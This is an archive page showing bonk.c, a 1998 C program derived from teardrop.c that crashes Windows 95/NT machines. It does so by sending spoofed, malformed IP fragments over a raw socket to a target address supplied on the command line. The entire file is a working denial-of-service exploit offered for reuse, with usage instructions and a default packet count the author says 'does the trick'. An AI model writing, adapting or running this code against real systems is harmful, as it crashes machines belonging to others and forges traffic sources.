home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / bonk.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  4KB  |  151 lines

  1. /*
  2.  
  3.                                 ==bendi - 1998==
  4.  
  5.                         bonk.c        -         5/01/1998
  6.         Based On: teardrop.c by route|daemon9 & klepto
  7.         Crashes *patched* win95/(NT?) machines.
  8.  
  9.         Basically, we set the frag offset > header length (teardrop
  10.         reversed). There are many theories as to why this works,
  11.         however i do not have the resources to perform extensive testing.
  12.         I make no warranties. Use this code at your own risk.
  13.         Rip it if you like, i've had my fun.
  14.  
  15. */
  16.  
  17. #include <stdio.h>
  18. #include <string.h>
  19.  
  20. #include <netdb.h>
  21. #include <sys/socket.h>
  22. #include <sys/types.h>
  23. #include <netinet/in.h>
  24. #include <netinet/ip.h>
  25. #include <netinet/ip_udp.h>
  26. #include <netinet/protocols.h>
  27. #include <arpa/inet.h>
  28.  
  29. #define FRG_CONST       0x3
  30. #define PADDING         0x1c
  31.  
  32. struct udp_pkt
  33. {
  34.         struct iphdr    ip;
  35.         struct udphdr   udp;
  36.         char data[PADDING];
  37. } pkt;
  38.  
  39. int     udplen=sizeof(struct udphdr),
  40.         iplen=sizeof(struct iphdr),
  41.         datalen=100,
  42.         psize=sizeof(struct udphdr)+sizeof(struct iphdr)+PADDING,
  43.         spf_sck;                        /* Socket */
  44.  
  45. void usage(void)
  46. {
  47.         fprintf(stderr, "Usage: ./bonk <src_addr> <dst_addr> [num]\n");
  48.         exit(0);
  49. }
  50.  
  51. u_long host_to_ip(char *host_name)
  52. {
  53.         static  u_long ip_bytes;
  54.         struct hostent *res;
  55.  
  56.         res = gethostbyname(host_name);
  57.         if (res == NULL)
  58.                 return (0);
  59.         memcpy(&ip_bytes, res->h_addr, res->h_length);
  60.         return (ip_bytes);
  61. }
  62.  
  63. void quit(char *reason)
  64. {
  65.         perror(reason);
  66.         close(spf_sck);
  67.         exit(-1);
  68. }
  69.  
  70. int fondle(int sck, u_long src_addr, u_long dst_addr, int src_prt,
  71.            int dst_prt)
  72. {
  73.         int     bs;
  74.         struct  sockaddr_in to;
  75.  
  76.         memset(&pkt, 0, psize);
  77.                                                 /* Fill in ip header */
  78.         pkt.ip.version = 4;
  79.         pkt.ip.ihl = 5;
  80.         pkt.ip.tot_len = htons(udplen + iplen + PADDING);
  81.         pkt.ip.id = htons(0x455);
  82.         pkt.ip.ttl = 255;
  83.         pkt.ip.protocol = IP_UDP;
  84.         pkt.ip.saddr = src_addr;
  85.         pkt.ip.daddr = dst_addr;
  86.         pkt.ip.frag_off = htons(0x2000);        /* more to come */
  87.  
  88.         pkt.udp.source = htons(src_prt);        /* udp header */
  89.         pkt.udp.dest = htons(dst_prt);
  90.         pkt.udp.len = htons(8 + PADDING);
  91.                                                 /* send 1st frag */
  92.  
  93.         to.sin_family = AF_INET;
  94.         to.sin_port = src_prt;
  95.         to.sin_addr.s_addr = dst_addr;
  96.  
  97.         bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to,
  98.                 sizeof(struct sockaddr));
  99.  
  100.         pkt.ip.frag_off = htons(FRG_CONST + 1);         /* shinanigan */
  101.         pkt.ip.tot_len = htons(iplen + FRG_CONST);
  102.                                                         /* 2nd frag */
  103.  
  104.         bs = sendto(sck, &pkt, iplen + FRG_CONST + 1, 0,
  105.                 (struct sockaddr *) &to, sizeof(struct sockaddr));
  106.  
  107.         return bs;
  108. }
  109.  
  110. void main(int argc, char *argv[])
  111. {
  112.         u_long  src_addr,
  113.                 dst_addr;
  114.  
  115.         int     i,
  116.                 src_prt=53,
  117.                 dst_prt=53,
  118.                 bs = 1,
  119.                 pkt_count = 10;         /* Default amount */
  120.  
  121.         if (argc < 3)
  122.                 usage();
  123.  
  124.         if (argc == 4)
  125.                 pkt_count = atoi(argv[3]);      /* 10 does the trick */
  126.  
  127.         /* Resolve hostnames */
  128.  
  129.         src_addr = host_to_ip(argv[1]);
  130.         if (!src_addr)
  131.                 quit("bad source host");
  132.         dst_addr = host_to_ip(argv[2]);
  133.         if (!dst_addr)
  134.                 quit("bad target host");
  135.  
  136.         spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  137.         if (!spf_sck)
  138.                 quit("socket()");
  139.         if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *) &bs,
  140.         sizeof(bs)) < 0)
  141.                 quit("IP_HDRINCL");
  142.  
  143.         for (i = 0; i < pkt_count; ++i)
  144.         {
  145.                 fondle(spf_sck, src_addr, dst_addr, src_prt, dst_prt);
  146.                 usleep(10000);
  147.         }
  148.  
  149.         printf("Done.\n");
  150. }
  151.